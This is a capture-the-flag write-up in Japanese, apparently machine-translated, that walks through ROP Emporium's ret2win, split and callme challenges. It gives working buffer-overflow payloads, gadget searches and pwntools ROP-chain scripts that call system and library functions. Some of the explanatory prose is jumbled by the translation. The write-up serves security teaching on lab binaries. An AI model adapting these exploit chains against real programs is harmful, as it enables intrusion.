1 ROPの概要
リターン指向プログラミング(リターン指向プログラミング、ROP)は、主にオペレーティングシステムの防御手段NXをバイパスするための高度なメモリ攻撃テクノロジです。このテクノロジーは、しばしばいくつかの既存の脆弱性、特にバッファオーバーフローを使用します。攻撃者はスタックコールを制御して、プログラム制御フローをハイジャックし、対象の機械語命令シーケンス(ガジェット)を実行します。これらのガジェットの組み合わせは、独自のガジェットを正常に実行できます論理。
戻りアドレスを変更して、指し示す命令を指すようにします。この命令がret、sp + 4で終わる場合、この時点で、スタックの元の戻りアドレスの次のスペースが戻りアドレス(ret
命令pop eipと同等、esp = esp + 4)、ポイントする各命令がretで終了する場合、このプロセスをノンストップで繰り返すことができます。(Ret実行するとsp + 4になります)。ガジェットを継続的に実行できます。
ガジェットにはさまざまな種類があるので、それらを1つずつリストすることはしません。実際に、ROPチェーンを構築して脆弱性の悪用の影響を実現する方法を分析してみましょう。以下は、ROP Emporiumが提供するタイトルを使用した例です。これより前に、スタック、関数呼び出し、およびパラメーターの受け渡しを十分に理解できる場合は、それが最善です。このトピックについて混乱している場合は、前に書いた記事が役立つと思います。アセンブリの観点からのebp&espレジスター、関数呼び出しプロセス、関数パラメーターの転送、スタックバランスの理解
2 ROPエンポリアム
ROP Emporiumは7つのバイナリファイルを提供しており、難易度は増加しています。32ビットと64ビットに分かれています。これらのプログラムの抜け穴は同じで、すべて単純なスタックオーバーフローであり、すべてのファイルの安全なコンパイルオプションも同じです。
スタックが実行可能ではないという安全なコンパイルオプションがオンになっているため、シェルコードを記述して戻りアドレスを直接シェルコードにポイントすることによってペイロードを実行する方法はありません。最も直接的な方法はROPであり、戻りアドレスがプログラムに元々含まれていたアセンブリ命令を指すようにします。すべてスタックオーバーフローですが、これらの7つのバイナリには使用可能なさまざまなガジェットが含まれており、難易度も浅いものから深いものまで
脆弱性
関数pwnmeでは、変数が割り当てられ、この変数はスタックの最下部から0x28 = 40バイトであり、ユーザーが入力した文字列はこの変数に格納されます。したがって、ユーザーの入力が40バイトを超えると、スタックオーバーフローが発生します。
抽象的なと感じた場合は、IDA逆コンパイルコードから、
プログラムのロジックをさらに確認できます。各プログラムの抜け穴が見つかります。次のステップは、各プログラムでは、使用できるバイナリコードフラグメント、つまりガジェットと呼ばれるものを一緒にストリング化すると、予期しない結果が生じる可能性があります。
2.1.1 ret2win32
shift + F12
引用コードと組み合わせたキーワードを、見つける方法は、それを見つけるのは簡単で、ret2win()
機能を、実行することをコード
ret2win()
逆アセンブルコードは次のとおりです。これも非常に簡単です
したがって、リターンアドレスポイントは0x08048659
、0x08048672
所望の効果を達成することができます
# 以下两条命令均可
python -c "print 'a'*44 + '\x59\x86\x04\x08'" | ./ret2win32
python -c "print 'a'*44 + '\x72\x86\x04\x08'" | ./ret2win32
# 使用 pwntools 脚本也是可以的,只不过这里比较简单,没必要还写个 python
運用実績
2.1.2 ret2win
64ビットプログラムは32ビットプログラムとは異なり、32ビットプログラムでは、ebpを介してスタック上のパラメーターを見つける代わりに、レジスターを使用してパラメーターを渡します。もちろん、この質問には実際の影響はありません。しかし、ret2winでは、オーバーフローする可能性があるローカル変数のオフセットは32ビットとは異なります
ここでユーザーが入力した変数とrbpの間の距離は0x20 = 32バイトなので、エクスプロイトコードを作成するときは、32 + 8バイトの不要なデータ(他のエクスプロイトの原理と利用可能なガジェットと32ビット)を入力する必要があります一貫している)
python -c "print 'a'*40 + '\x11\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win
python -c "print 'a'*40 + '\x24\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win
運用実績
2.2.1 split32
ret2win32との違いは、今回はワンステップ実行コードがないことです。私たちのアイデアは、戻りアドレスがを指すよう0x08048657
にすることですが、同時にシステム関数のパラメーターを指定します。0x0804A030
必要なパラメータを保存しました。
# data
.data:0804A030 public usefulString
.data:0804A030 usefulString db '/bin/cat flag.txt',0
# usefulFunction
.text:08048652 push offset command ; "/bin/ls"
.text:08048657 call _system
方法1
直接操作call _system
バランスがスタックを必要としないコマンド、直後にキープパラメータ。システムは、サブルーチン、ケースのスタック空間を呼び出すときのように、詳細は、参照がされてもよいEBPを理解&ESP、関数パラメータはアセンブリから渡された関数呼び出しとスタックバランスの角度レジスタ
|----------------|
|ebp:aaaa
|----------------|
|返回地址:0x08048657 ——-—> 上一个函数执行 ret, sp + 4
|----------------| 下一个函数执行 call, sp - 4,返回地址又压入原来的栈空间
|system 参数 push ebp,ebp 又放到原来的位置,system 通过 ebp + 8 找到参数,还在此位置
|----------------|
32ビットプログラムはebpのオフセットに従って仮パラメーターを検索するため、ここではcall _system
、前の関数ebp位置に対するebp の直接呼び出しは変更されていないため、パラメーター位置は変更されていません。エクスプロイトコードは以下の通りです
# python -c "print 'a'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32
split by ROP Emporium
32bits
Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault
方法2
システムのpltの場所を見つけ、戻りアドレスがそのアドレスに直接オーバーフローし、パラメーターを渡しますが、この場合、スタックのバランスをとる必要があります。なぜですか?関数呼び出し中のスタックの変更を分析する必要があります。
これはpltのシステムエントリです
.plt:08048430 ; int system(const char *command)
.plt:08048430 _system proc near ; CODE XREF: usefulFunction+E↓p
.plt:08048430
.plt:08048430 command = dword ptr 4
.plt:08048430
.plt:08048430 jmp ds:off_804A018
.plt:08048430 _system endp
オーバーフローの戻りアドレスをplt内の対応するシステムに直接変更すると、スタックスペースは次のようになります。
|----------------|
|ebp:aaaa
|----------------|
|返回地址:0x08048430 ——-—> 上一个函数执行 ret, sp + 4
|----------------| xxx这一步不执行 - 不执行 call 指令,sp 也不会归位
|null system 中的 push ebp,此时 ebp 会跑到栈中 返回地址 的位置
|---------------|
|system 参数 ebp + 8 找到的参数位置
したがって、アドレスを返した後、パラメータに対応するために、さらに4バイトを埋める必要があります。
python -c "print 'a'*44 + '\x30\x84\x04\x08' + 'a'*4 + '\x30\xa0\x04\x08'" | ./split32
運用実績
2.2.2分割
64ビットプログラムは、レジスタを使用してパラメータを渡します。最初のパラメータはrdiレジスタに格納されます。現時点では、特定のアセンブリコードを見つけるためのツールが必要です。
ROPgadget
優れたガジェット検索ツールであり、使用方法は次のとおりです
$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x0000000000400883 : pop rdi ; ret
またはGDBプラグインの使用peda
が付属してROPsearch
コマンドを
gdb-peda$ ROPsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00400883 : (b'5fc3') pop rdi; ret
構築されたスタックは次のとおりです
|----------------|
|rbp:aaaa aaaa
|----------------|
|返回地址:0x400883 ret # sp - 8 sp 指向 下一行
|----------------| pop rdi # sp - 8 将这一行的参数放进 rdi 寄存器中,参数构造成功
|system 参数 flag ret # sp - 8
|----------------|
|要执行的函数地址,由于 64 位程序中,寻找参数不依赖堆栈,依靠寄存器,所以不需要平衡堆栈
エクスプロイト
# 同样的道理,既可以直接执行 call _system,也可以执行 plt 中的 _system,不过都不需要平衡堆栈了
python -c "print'a'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split
運用実績
2.3.1 callme32
この質問から始めると、主にコードのロジックレベルがより複雑になるため、少し難しくなります。最初の2つの質問はret2text
この質問に属しています。この質問では、自分で作成したライブラリファイルを紹介しています。ROPチェーンでは.soファイルのバイナリ命令を使用する可能性があるため、ret2lib
この関数はusefulFunction
3つの機能を使用し_callme_one two three
て、これらの3つの関数が外部のシンボルです。readelfまたはobjdumpを使用して、バイナリファイルに必要な依存関係を表示します
root@kali:~/Documents/ROPEmpurium/callme32# readelf -dl callme32 | grep NEEDED
# objdump -p callme32 | grep NEEDED
0x00000001 (NEEDED) Shared library: [libcallme32.so]
0x00000001 (NEEDED) Shared library: [libc.so.6]
これらの3つの関数が、それは避けられない中で、非標準ライブラリ関数ですlibcallme32.so
ファイル。IDA逆アセンブリを使用して3つの機能の役割を確認する
callme_one
暗号化されたフラグコンテンツを読み取る
callme_two
サイクルまたは意志、復号化、およびグローバル変数があるg_buf
に
callme_three
ループするか、結果を復号化して出力し続ける
したがって、最終的なROPチェーンでは3つの関数を順番に実行する必要がありますが、関数が正しい分岐に移動してフラグを出力できるように、各関数は1、2、3の3つのパラメーターを渡す必要があります。ここではなく直接実行usefulFunction
機能を、あなただけのPLTの三つの機能で場所を見つけることができます。スタックのバランスをとる必要があるとsplit32で述べたことに注意してください。3つのパラメータに対応するだけでなく、3つのが必要です配置する必要がありpop
バランスの取れたスタック部に、バランスに命令が言っています
root@kali:~/Documents/ROPEmpurium/callme32# ROPgadget --binary callme32 --only 'pop|ret'
Gadgets information
============================================================
0x080488ab : pop ebp ; ret
0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048579 : pop ebx ; ret
0x080488aa : pop edi ; pop ebp ; ret
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048562 : ret
0x080486be : ret 0xeac1
Unique gadgets found: 7
0x080488a9
したがって、私たちのニーズを満たすために、最終的な使用率コードは次のようになります
from pwn import *
sh = process("./callme32")
context(log_level="debug", os="linux")
sh.recvuntil("> ")
one_plt = 0x080485C0
two_plt = 0x08048620
three_plt = 0x080485B0
pop_ret_gadget = 0x080488a9
args = p32(0x01) + p32(0x02) + p32(0x03)
payload = "a"*44
payload += p32(one_plt) + p32(pop_ret_gadget) + args
payload += p32(two_plt) + p32(pop_ret_gadget) + args
payload += p32(three_plt) + p32(pop_ret_gadget) + args
sh.sendline(payload)
sh.recv()
運用実績
2.3.2 callme
64ビットプログラムは、前のセクションで既に説明したスタックではなく、レジスタを使用してパラメータを渡します(最初の2つまたは3つのパラメータはrdi rsi rdxに対応します)。あなたが大量の参加についてはあまり知らない場合は、へようこそEBPを理解&ESP、関数呼び出し、ビューの集合場所から関数パラメータを渡すと、スタックのバランスを登録します。ここでも、pop rdi、pop rsi、pop rdxを見つけて、パラメータを渡せるようにする必要があります。
# ROPgadget --binary callme --only 'pop|ret' | grep rdi
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret
このスタックは注意深く構築する必要があり、32ビットプログラムとは異なります
from pwn import *
sh = process("./callme")
context(log_level="debug", os="linux")
sh.recvuntil("> ")
one_plt_addr = 0x0000000000401850
two_plt_addr = 0x0000000000401870
three_plt_addr = 0x0000000000401810
pop_args_gadget = 0x0000000000401ab0
args = p64(0x01) + p64(0x02) + p64(0x03)
payload = "a" * 40
payload += p64(pop_args_gadget) + args + p64(one_plt_addr)
payload += p64(pop_args_gadget) + args + p64(two_plt_addr)
payload += p64(pop_args_gadget) + args + p64(three_plt_addr)
sh.sendline(payload)
sh.recv()
運用実績
3まとめ
いくつかの実際的なケースでは、ROPチェーンを使用してプログラムフローを制御する目的を達成する方法を分析しました。この抜け穴では、ret2winとsplitはに属しret2text
、戻りアドレスはこのプログラムのコードの一部を指し、callmeはに属していますret2lib
(またはret2plt
この名前は一般的ではありません)、戻りアドレスはlibcライブラリの関数を指します。これらの質問を理解するように強く主張すれば、その後の問題は問題になりません。